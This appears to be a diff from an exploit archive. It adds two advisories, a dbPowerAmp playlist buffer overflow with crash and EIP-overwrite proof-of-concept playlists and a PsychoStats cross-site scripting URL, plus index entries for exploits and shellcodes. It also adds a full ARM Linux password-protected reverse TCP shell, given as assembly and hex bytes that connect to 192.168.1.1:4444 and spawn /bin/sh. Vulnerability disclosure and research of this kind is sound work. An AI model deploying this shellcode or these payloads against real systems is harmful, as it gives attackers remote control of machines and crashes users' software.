Often called the Swiss Army knife of audio, dMC can digitally rip sound from audio CDs to a multitude of formats. Convert from one format to another while preserving ID tags. Nearly every audio type is supported, including MP3, MP4, Windows Media Audio (WMA), OGG Vorbis, AAC, Monkey's Audio, and FLAC (with optional installs from Codec Central). For Windows Explorer integration, right-click Convert To to pop up useful information on audio files (such as bit rate and length). Record from LPs with an optional Auxiliary Input install. dBpowerAmp Audio Player (dAP) has a digital conditioning equalizer and an advanced music collection. It's skinnable and has a cross-fader, a playlist editor, and a tag editor. dAP plays MP3s, WMA, Ogg Vorbis, Monkeys Audio, Real Audio, WAV, MIDI, and many more.
Arbitrary Code Execution:
Both the very popular dbPowerAmp Music Converter application, as well as the dbPowerAmp Player are prone to buffer overflow conditions. These issues affect current and earlier versions of the dbPowerAmp Player and Music Converter. In my research I have only tested the vulnerabilities with .pls and .m3u playlists, but I think the same issues are probably present with other file types as well as other dbPowerAmp applications. The Music Converter application allocates a 215 byte buffer for the file name within the playlist. By opening a playlist like the one below will overflow this buffer and overwrite EIP with \x42\x42\x42\x42
[playlist]
NumberOfEntries=1
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB
Title1=GulfTech dbPowerAmp Music Converter POC
Length1=-1
The same issue applies to the player and playlist editor, however the buffer length with those applications (both are included with the player, not the converter) is not 215 bytes, but 265 bytes. So in short
MusicConverter.exe 215 bytes To EIP
playlist.exe 265 bytes to EIP
amp.exe 265 bytes to EIP
I believe these buffer overflow vulnerabilities to be the result of an unsafe strncmp() but I could be wrong ;) The same buffer overflow condition can also present itself when loading .mcc files which are the dbPowerAmp Music Collection files. There is also a pretty bad Denial Of Service condition that can happen with dbPowerAmp Music Converter that I will talk about next.
Denial Of Service:
dbPowerAmp Music Converter has an option to integrate into the Windows shell. As a longtime dbPowerAmp Music Converter user I do find this feature very helpful, but it can also allow for an attacker to crash the Windows shell by sending them a malformed playlist. They do not have to open the playlist or anything, just mouseover it. I tested this issue on Windows XP SP1 Fully Patched. To see this issue in action just use the following example playlist and mouse over it.
[playlist]
NumberOfEntries=1
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Title1=GulfTech dbPowerAmp Music Converter Crash POC
Length1=-1
The large filename entry in the playlist will overwrite EDI with junk and then cause an access violation. This will then cause explorer to crash.
Note:
Remember, the examples above are wrapped for readability. If you want to use them to test if you are vulnerable then you should remove all of the newlines in the file name.
Solution:
The developer said that they would address these issues, but do not consider them high priority. Hmm, code execution via a malformed file is definitely not low priority in my book.
Proof Of Concept:
Working exploit code may be released soon, but not at the moment due to time constraints.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,35 @@
PsychoStats Cross Site Scripting
Vendor: Jason Morriss
Product: PsychoStats
Version: <= 2.2.4 Beta
Website: http://www.psychostats.com/
BID: 12089
CVE: CVE-2004-1417
OSVDB: 12560
SECUNIA: 13619
PACKETSTORM: 35502
Description:
PsychoStats is a statistics generator for games. Currently there is support for a handful of Half-Life "MODs" including Counter-Strike, Day of Defeat, and Natural Selection. PsychoStats gathers statistics from the log files that game servers create by reading through the logs and then calculating detailed statistics for players, maps, weapons and clans. These detailed statistics are stored in a MySQL database which are then viewed online from your website using a set of PHP web pages. There are some complaints out there in the community that do not like the fact that PsychoStats does not provide 'real time' game statistics. The fact is, providing 'real time', accurate and detailed statistics is a hard issue to overcome. Some game statistic generators out there that provide 'real time' statistics simply do not have the same amount of detailed information that PsychoStats has. And they usually only provide very basic 'kill' statistics. Ignoring detailed 'map' and 'clan' statistics. PsychoStats may not be real time, but it works very close to it. As data is stored in a mysql database old logs that were scanned previously do not need to be scanned again, which makes for much faster updates then the old v1.x of PsychoStats. And the data provided by PsychoStats is very detailed.
Cross Site Scripting:
Cross site scripting exists in Jason Morriss PsychoStats. This vulnerability exists due to user supplied input not being checked properly. Below is an example.
http://www.example.com/stats/login.php?login=%22%3E%3Ciframe%3E
This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser.
Solution:
The vendor was contacted, responded very promptly and said he will be addressing the issue soon and has released an updated version of the software.
http://www.psychostats.com/forums/viewtopic.php?t=11022
You can find directions on how to install the patch at the link listed above. Users should upgrade as soon as they can.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -5256,6 +5256,8 @@ id,file,description,date,author,type,platform,port
43720,exploits/windows/dos/43720.js,"Microsoft Edge Chakra - 'AsmJSByteCodeGenerator::EmitCall' Out-of-Bounds Read",2018-01-17,"Google Security Research",dos,windows,
43723,exploits/windows/dos/43723.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy",2018-01-17,"Google Security Research",dos,windows,
43776,exploits/hardware/dos/43776.py,"Smiths Medical Medfusion 4000 - 'DHCP' Denial of Service",2018-01-18,"Scott Gayou",dos,hardware,
43780,exploits/macos/dos/43780.c,"macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability'",2018-01-19,"Google Security Research",dos,macos,
43826,exploits/windows/dos/43826.txt,"Peercast < 0.1211 - Format String",2015-05-28,"GulfTech Security",dos,windows,
40570,exploits/osx/dos/40570.py,"The Unarchiver 3.11.1 - '.tar.Z' Crash (PoC)",2016-10-18,"Antonio Z.",dos,osx,
40592,exploits/windows/dos/40592.py,"SAP NetWeaver KERNEL 7.0 < 7.5 - Denial of Service",2016-10-20,ERPScan,dos,windows,
40593,exploits/windows/dos/40593.py,"SAP Adaptive Server Enterprise 16 - Denial of Service",2016-10-20,ERPScan,dos,windows,
@ -9164,6 +9166,9 @@ id,file,description,date,author,type,platform,port
40528,exploits/windows/local/40528.txt,"Hotspot Shield 6.0.3 - Unquoted Service Path Privilege Escalation",2016-10-13,Amir.ght,local,windows,
40533,exploits/windows/local/40533.txt,"NO-IP DUC 4.1.1 - Unquoted Service Path Privilege Escalation",2016-10-14,"Ehsan Hosseini",local,windows,
40535,exploits/windows/local/40535.txt,"Wondershare PDFelement 5.2.9 - Unquoted Service Path Privilege Escalation",2016-10-14,"Saeed Hasanzadeh",local,windows,
43799,exploits/windows/local/43799.txt,"Trillian Pro < 2.01 - Design Error",2004-03-01,"GulfTech Security",local,windows,
43816,exploits/windows/local/43816.txt,"dbPowerAmp < 2.0/10.0 - Buffer Overflow",2014-09-27,"GulfTech Security",local,windows,
43817,exploits/windows/local/43817.txt,"PsychoStats < 2.2.4 Beta - Cross Site Scripting",2014-12-22,"GulfTech Security",local,windows,
40538,exploits/windows/local/40538.txt,"Graylog Collector 0.4.2 - Unquoted Service Path Privilege Escalation",2016-10-14,"Joey Lane",local,windows,
40540,exploits/windows/local/40540.txt,"NETGATE AMITI Antivirus 23.0.305 - Unquoted Service Path Privilege Escalation",2016-10-15,Amir.ght,local,windows,
40541,exploits/windows/local/40541.txt,"NETGATE Data Backup build 3.0.605 - Unquoted Service Path Privilege Escalation",2016-10-15,Amir.ght,local,windows,
@ -13848,7 +13853,7 @@ id,file,description,date,author,type,platform,port
24944,exploits/windows/remote/24944.py,"Freefloat FTP Server 1.0 - DEP Bypass with ROP",2013-04-10,negux,remote,windows,
24945,exploits/hardware/remote/24945.rb,"Linksys WRT54GL - 'apply.cgi' Command Execution (Metasploit)",2013-04-10,Metasploit,remote,hardware,
24946,exploits/multiple/remote/24946.rb,"Adobe ColdFusion APSB13-03 - Remote Multiple Vulnerabilities (Metasploit)",2013-04-10,Metasploit,remote,multiple,
24947,exploits/linux/remote/24947.txt,"MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution",2013-04-08,agixid,remote,linux,
24947,exploits/linux/remote/24947.txt,"MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution",2013-04-08,agix,remote,linux,
24956,exploits/hardware/remote/24956.rb,"D-Link DIR-645 / DIR-815 - 'diagnostic.php' Command Execution (Metasploit)",2013-04-12,Metasploit,remote,hardware,
24958,exploits/windows/remote/24958.py,"MinaliC WebServer 2.0.0 - Remote Buffer Overflow",2013-04-15,superkojiman,remote,windows,
24961,exploits/windows/remote/24961.html,"FirePHP Firefox Plugin 0.7.1 - Remote Command Execution",2013-04-17,Wireghoul,remote,windows,
@ -37179,6 +37184,62 @@ id,file,description,date,author,type,platform,port
43682,exploits/hardware/webapps/43682.txt,"Belkin N600DB Wireless Router - Multiple Vulnerabilities",2018-01-17,Wadeek,webapps,hardware,
43683,exploits/php/webapps/43683.txt,"SugarCRM 3.5.1 - Cross-Site Scripting",2018-01-17,"Guilherme Assmann",webapps,php,
43733,exploits/java/webapps/43733.rb,"Primefaces 5.x - Remote Code Execution (Metasploit)",2018-01-18,"Bjoern Schuette",webapps,java,
43777,exploits/php/webapps/43777.py,"GitStack 2.3.10 - Unauthenticated Remote Code Execution",2018-01-18,"Kacper Szurek",webapps,php,
43789,exploits/php/webapps/43789.txt,"Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection (PoC)",2003-12-15,"GulfTech Security",webapps,php,
43790,exploits/php/webapps/43790.txt,"Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC)",2003-12-16,"GulfTech Security",webapps,php,
43791,exploits/php/webapps/43791.txt,"Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities",2003-12-16,"GulfTech Security",webapps,php,
43788,exploits/asp/webapps/43788.txt,"DUWare Multiple Products - Multiple Vulnerabilities",2003-12-15,"GulfTech Security",webapps,asp,
43792,exploits/php/webapps/43792.txt,"AutoRank PHP < 2.0.4 - SQL Injection (PoC)",2003-12-18,"GulfTech Security",webapps,php,
43793,exploits/asp/webapps/43793.txt,"ASPapp Multiple Products - Multiple Vulnerabilities",2003-12-18,"GulfTech Security",webapps,asp,
43794,exploits/php/webapps/43794.txt,"osCommerce < 2.2-MS2 - Multiple Vulnerabilities",2003-12-22,"GulfTech Security",webapps,php,
43795,exploits/php/webapps/43795.txt,"PostNuke < 0.726 Phoenix - Multiple Vulnerabilities",2004-01-03,"GulfTech Security",webapps,php,
43796,exploits/perl/webapps/43796.txt,"MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities",2004-01-12,"GulfTech Security",webapps,perl,
43797,exploits/php/webapps/43797.txt,"phpGedView < 2.65 beta 5 - Multiple Vulnerabilities",2004-01-13,"GulfTech Security",webapps,php,
43798,exploits/php/webapps/43798.txt,"phpShop < 0.6.1-b - Multiple Vulnerabilities",2004-01-13,"GulfTech Security",webapps,php,
43800,exploits/php/webapps/43800.txt,"Invision Power Board (IP.Board) < 1.3 - SQL Injection",2004-03-02,"GulfTech Security",webapps,php,
43801,exploits/php/webapps/43801.txt,"phpBB < 2.0.6d - Cross Site Scripting",2004-03-12,"GulfTech Security",webapps,php,
43802,exploits/php/webapps/43802.txt,"Phorum < 5.0.3 Beta - Cross Site Scripting",2004-03-15,"GulfTech Security",webapps,php,
43803,exploits/php/webapps/43803.txt,"vBulletin < 3.0.0 RC4 - Cross Site Scripting",2004-03-15,"GulfTech Security",webapps,php,
43804,exploits/php/webapps/43804.txt,"Mambo < 4.5 - Multiple Vulnerabilities",2004-03-15,"GulfTech Security",webapps,php,
43805,exploits/php/webapps/43805.txt,"phpBB < 2.0.7a - Multiple Vulnerabilities",2004-03-20,"GulfTech Security",webapps,php,
43806,exploits/php/webapps/43806.txt,"Invision Power Top Site List < 1.1 RC 2 - SQL Injection",2004-03-21,"GulfTech Security",webapps,php,
43807,exploits/php/webapps/43807.txt,"Invision Gallery < 1.0.1 - SQL Injection",2004-03-21,"GulfTech Security",webapps,php,
43808,exploits/php/webapps/43808.txt,"PhotoPost < 4.6 - Multiple Vulnerabilities",2004-03-28,"GulfTech Security",webapps,php,
43809,exploits/php/webapps/43809.txt,"TikiWiki < 1.8.1 - Multiple Vulnerabilities",2004-04-11,"GulfTech Security",webapps,php,
43810,exploits/php/webapps/43810.txt,"phpBugTracker < 0.9.1 - Multiple Vulnerabilities",2004-04-14,"GulfTech Security",webapps,php,
43811,exploits/php/webapps/43811.txt,"OpenBB < 1.0.6 - Multiple Vulnerabilities",2004-04-24,"GulfTech Security",webapps,php,
43812,exploits/php/webapps/43812.txt,"PHPX < 3.26 - Multiple Vulnerabilities",2004-05-04,"GulfTech Security",webapps,php,
43813,exploits/php/webapps/43813.txt,"Invision Power Board (IP.Board) < 1.3.1 - Design Error",2004-05-04,"GulfTech Security",webapps,php,
43814,exploits/php/webapps/43814.txt,"HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities",2004-05-17,"GulfTech Security",webapps,php,
43815,exploits/asp/webapps/43815.txt,"LiveWorld Multiple Products - Cross Site Scripting",2014-08-23,"GulfTech Security",webapps,asp,
43818,exploits/php/webapps/43818.txt,"WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities",2014-12-27,"GulfTech Security",webapps,php,
43819,exploits/php/webapps/43819.txt,"PHP-Calendar < 0.10.1 - Arbitrary File Inclusion",2014-12-29,"GulfTech Security",webapps,php,
43820,exploits/php/webapps/43820.txt,"PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities",2015-01-01,"GulfTech Security",webapps,php,
43821,exploits/php/webapps/43821.txt,"ReviewPost < 2.84 - Multiple Vulnerabilities",2015-01-02,"GulfTech Security",webapps,php,
43822,exploits/php/webapps/43822.txt,"PhotoPost < 4.85 - Multiple Vulnerabilities",2015-01-03,"GulfTech Security",webapps,php,
43823,exploits/php/webapps/43823.txt,"AZBB < 1.0.07d - Multiple Vulnerabilities",2015-04-19,"GulfTech Security",webapps,php,
43824,exploits/php/webapps/43824.txt,"Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities",2015-05-05,"GulfTech Security",webapps,php,
43825,exploits/php/webapps/43825.txt,"Burning Board < 2.3.1 - SQL Injection",2015-05-16,"GulfTech Security",webapps,php,
43827,exploits/php/webapps/43827.txt,"XOOPS < 2.0.11 - Multiple Vulnerabilities",2015-06-29,"GulfTech Security",webapps,php,
43828,exploits/php/webapps/43828.txt,"PEAR XML_RPC < 1.3.0 - Remote Code Execution",2015-07-01,"GulfTech Security",webapps,php,
43829,exploits/php/webapps/43829.txt,"PHPXMLRPC < 1.1 - Remote Code Execution",2015-07-02,"GulfTech Security",webapps,php,
43830,exploits/php/webapps/43830.txt,"SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite",2015-07-14,"GulfTech Security",webapps,php,
43831,exploits/php/webapps/43831.txt,"XPCOM - Race Condition",2015-07-21,"GulfTech Security",webapps,php,
43832,exploits/php/webapps/43832.txt,"ADOdb < 4.71 - Cross Site Scripting",2016-02-18,"GulfTech Security",webapps,php,
43833,exploits/php/webapps/43833.txt,"Geeklog < 1.4.0 - Multiple Vulnerabilities",2016-02-19,"GulfTech Security",webapps,php,
43834,exploits/php/webapps/43834.txt,"PEAR LiveUser < 0.16.8 - Arbitrary File Access",2016-02-21,"GulfTech Security",webapps,php,
43835,exploits/php/webapps/43835.txt,"Mambo < 4.5.3h - Multiple Vulnerabilities",2016-02-24,"GulfTech Security",webapps,php,
43836,exploits/php/webapps/43836.txt,"phpRPC < 0.7 - Remote Code Execution",2016-02-26,"GulfTech Security",webapps,php,
43837,exploits/php/webapps/43837.txt,"Gallery 2 < 2.0.2 - Multiple Vulnerabilities",2016-03-02,"GulfTech Security",webapps,php,
43838,exploits/php/webapps/43838.txt,"PHPLib < 7.4 - SQL Injection",2016-03-05,"GulfTech Security",webapps,php,
43839,exploits/php/webapps/43839.txt,"SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite",2016-08-11,"GulfTech Security",webapps,php,
43840,exploits/php/webapps/43840.txt,"CubeCart < 3.0.12 - Multiple Vulnerabilities",2016-08-28,"GulfTech Security",webapps,php,
43841,exploits/php/webapps/43841.txt,"Claroline < 1.7.7 - Arbitrary File Inclusion",2016-08-14,"GulfTech Security",webapps,php,
43842,exploits/php/webapps/43842.txt,"X-Cart < 4.1.3 - Arbitrary Variable Overwrite",2016-08-18,"GulfTech Security",webapps,php,
43843,exploits/php/webapps/43843.txt,"Mambo < 4.5.4 - SQL Injection",2016-10-04,"GulfTech Security",webapps,php,
43844,exploits/php/webapps/43844.txt,"Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities",2018-01-08,"GulfTech Security",webapps,php,
43845,exploits/php/webapps/43845.txt,"D-Link DNS-343 ShareCenter < 1.05 - Command Injection",2018-01-15,"GulfTech Security",webapps,php,
43846,exploits/php/webapps/43846.txt,"D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities",2018-01-15,"GulfTech Security",webapps,php,
40542,exploits/php/webapps/40542.txt,"Student Information System (SIS) 0.1 - Authentication Bypass",2016-10-14,lahilote,webapps,php,
40543,exploits/php/webapps/40543.txt,"Web Based Alumni Tracking System 0.1 - SQL Injection",2016-10-14,lahilote,webapps,php,
40544,exploits/php/webapps/40544.txt,"Simple Dynamic Web 0.1 - SQL Injection",2016-10-14,lahilote,webapps,php,

Can't render this file because it is too large.

View file

@ -754,6 +754,7 @@ id,file,description,date,author,type,platform
43772,shellcodes/windows_x86/43772.c,"Windows/x86 (XP SP3) (Turkish) - cmd.exe Shellcode (42 bytes)",2009-01-01,ZoRLu,shellcode,windows_x86
43773,shellcodes/windows_x86/43773.c,"Windows/x86 (XP SP3) (English) - calc Shellcode (16 bytes)",2010-07-10,"John Leitch",shellcode,windows_x86
43774,shellcodes/windows_x86/43774.c,"Windows/x86 (XP SP3) - MessageBox Shellcode (11 bytes)",2009-01-01,d3c0der,shellcode,windows_x86
43778,shellcodes/arm/43778.asm,"Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)",2018-01-15,rtmcx,shellcode,arm
40549,shellcodes/windows_x86-64/40549.c,"Windows/x86-64 - cmd.exe WinExec() Shellcode (93 bytes)",2016-10-17,"Roziul Hasan Khan Shifat",shellcode,windows_x86-64
40560,shellcodes/windows_x86/40560.asm,"Windows/x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes)",2016-10-17,Fugu,shellcode,windows_x86
40781,shellcodes/windows_x86-64/40781.c,"Windows/x86-64 - Reverse TCP (192.168.232.129:4444/TCP) Shell + Injection Shellcode (694 bytes)",2016-11-18,"Roziul Hasan Khan Shifat",shellcode,windows_x86-64

1 id file description date author type platform
754 43772 shellcodes/windows_x86/43772.c Windows/x86 (XP SP3) (Turkish) - cmd.exe Shellcode (42 bytes) 2009-01-01 ZoRLu shellcode windows_x86
755 43773 shellcodes/windows_x86/43773.c Windows/x86 (XP SP3) (English) - calc Shellcode (16 bytes) 2010-07-10 John Leitch shellcode windows_x86
756 43774 shellcodes/windows_x86/43774.c Windows/x86 (XP SP3) - MessageBox Shellcode (11 bytes) 2009-01-01 d3c0der shellcode windows_x86
757 43778 shellcodes/arm/43778.asm Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes) 2018-01-15 rtmcx shellcode arm
758 40549 shellcodes/windows_x86-64/40549.c Windows/x86-64 - cmd.exe WinExec() Shellcode (93 bytes) 2016-10-17 Roziul Hasan Khan Shifat shellcode windows_x86-64
759 40560 shellcodes/windows_x86/40560.asm Windows/x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes) 2016-10-17 Fugu shellcode windows_x86
760 40781 shellcodes/windows_x86-64/40781.c Windows/x86-64 - Reverse TCP (192.168.232.129:4444/TCP) Shell + Injection Shellcode (694 bytes) 2016-11-18 Roziul Hasan Khan Shifat shellcode windows_x86-64

161
shellcodes/arm/43778.asm Normal file
View file

@ -0,0 +1,161 @@
/*
* Title: Linux/ARM - Password Protected Reverse Shell TCP (/bin/sh). Null free shellcode (156 bytes)
* Date: 2018-01-15
* Tested: armv7l (Raspberry Pi v3)
* Author: rtmcx - twitter: @rtmcx
*/
.section .text
.global _start
_start:
/* Enter Thumb mode */
.ARM
add r6, pc, #1
bx r6
.THUMB
/* Create a new socket*/
/* socket(PF_INET, SOCK_STREAM, 0);
r0 = 2, r = 1, r2 = 0
r7 = 281 (SYSCALL for socket)
*/
mov r0, #2 // PF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
eor r2, r2, r2 // Zero out r2
mov r7, #100 // Put 281 in r7..
add r7, #181 // ..in a 2-step operation
svc #1 // syscall returns sockid in r0
mov r4, r0 // Save sockid in r4
/* Connect to client */
/* connect(int sockid, const struct sockaddr *addr, int addrlen);
r0 = sockid, r1 = <struct address>, r2 = 16
r7 = 283 (SYSCALL for connect)
*/
adr r1, struct_addr // Address to struct_addr
strb r2, [r1, #1] // Replace AF_INET with NULL
mov r2, #16 // Address length
add r7, #2 // r7 already contains 281, so add 2 = 283
svc #1 // Client sockid will be returned in r0
/* Send message */
/* send(sockid, message, mess_len, 0);
r0 = sockid, r1 = message_address, r2 = messlen, r3 = 0
R7 = 289 (syscall for send)
*/
mov r0, r4 // Restore sockid to r0
adr r1, prompt // Load address to string "passwd" in r1
mov r2, #8 // 'passwd: ' is 8 bytes
eor r3, r3, r3 // Make r3 null
add r7, #6 // r7 has 283, add 6 to get 289
svc #1 // Execute syscall
/* Get the response (recv) */
/* ssize_t recv(int sockid, void *buf, size_t len, int flags);
r0 = sockid, r1 = buffer_space, r2 = length, r3 = null
r7 = 291 (recv)
*/
mov r0, r4 // Restore sockid to r0
adr r1, response // Load the address to store input in into r1
mov r2, #8 // Read 8 characters
eor r3, r3 ,r3 // Zero out r3
add r7, #2 // r7 has 289, add 2 to get 291
svc #1 // Execute syscall
/* Compare the received answer to the stored password */
adr r5, passwd // Store address to password in r5
mov r6, #9 // Use r6 as counter for number of bytes in password
// (9 to 1 to avoid null)
cmp_loop:
ldrb r2, [r5] // Put one byte from r5 in r2
ldrb r3, [r1] // Put one byte from r1 in r3
cmp r2, r3 // Compare the bytes
bne _exit // Not equal, exit
add r5, #1 // Next byte in password
add r1, #1 // Next byte in input
sub r6, #1 // Decrement counter
cmp r6, #1 // Are we at 1 yet?
bne cmp_loop // No, next byte
/* Duplicate STDIN, STDOUT and STERR */
/* dup2(client_sock_fd, STDIN/STDOUT/STDERR);
r0 = sockid, r1 = 0/1/2
r7 = 63 (syscall for dup2)
*/
mov r0, r4 // Saved sockid
eor r1, r1, r1 // Zero r1 for STDIN
mov r7, #63 // Syscall for dup2
svc #1 // Execute syscall
mov r0, r4 // Saved sockid
add r1, #1 // STDOUT (1)
svc #1 // Execute syscall
mov r0, r4 // Saved sockid
add r1, #1 // STDERR (2)
svc #1 // Execute syscall
/* Execute shell */
/* execve('/bin/sh', 0, 0);
r0 --> "/bin/sh", r1 = 0, r2 = 0
r7 = 11 (syscall for execve)
*/
adr r0, shellcode // Address to "/bin/sh"
eor r1, r1, r1 // Zero out r1
eor r2, r2, r2 // And r2
strb r2, [r0, #7] // Replace 'X' with NULL
mov r7, #11 // Syscall for execve
svc #1 // Execute syscall
/* Exit (if wrong password was provided) */
_exit:
mov r0, #1 // return 1
mov r7, #1 // syscall number for exit
svc #1 // execute syscall
/* */
struct_addr:
.ascii "\x02\xaa" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port 4444
.ascii "\xc0\xa8\x01\x01" // IP Address (192.168.1.1)
shellcode:
.ascii "/bin/shX"
prompt:
.ascii "passwd:\x20" // prompt for password, with space
response:
.ascii "xxxxxxxx" // Place to store the response
passwd:
.ascii "MyPasswd" // The correct password
/*
Compile and link with:
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode
\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\x64\x27\xb5\x37\x01\xdf\x04\x1c\x17\xa1\x4a\x70
\x10\x22\x02\x37\x01\xdf\x20\x1c\x18\xa1\x08\x22\x5b\x40\x06\x37\x01\xdf\x20\x1c\x17\xa1\x08\x22\x5b\x40
\x02\x37\x01\xdf\x16\xa5\x09\x26\x2a\x78\x0b\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1
\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x06\xa0\x49\x40\x52\x40
\xc2\x71\x0b\x27\x01\xdf\x01\x20\x01\x27\x01\xdf\x02\xaa\x11\x5c\xc0\xa8\x01\x01\x2f\x62\x69\x6e\x2f\x73
\x68\x58\x70\x61\x73\x73\x77\x64\x3a\x20\x78\x78\x78\x78\x78\x78\x78\x78\x4d\x79\x50\x61\x73\x73\x77\x64
*/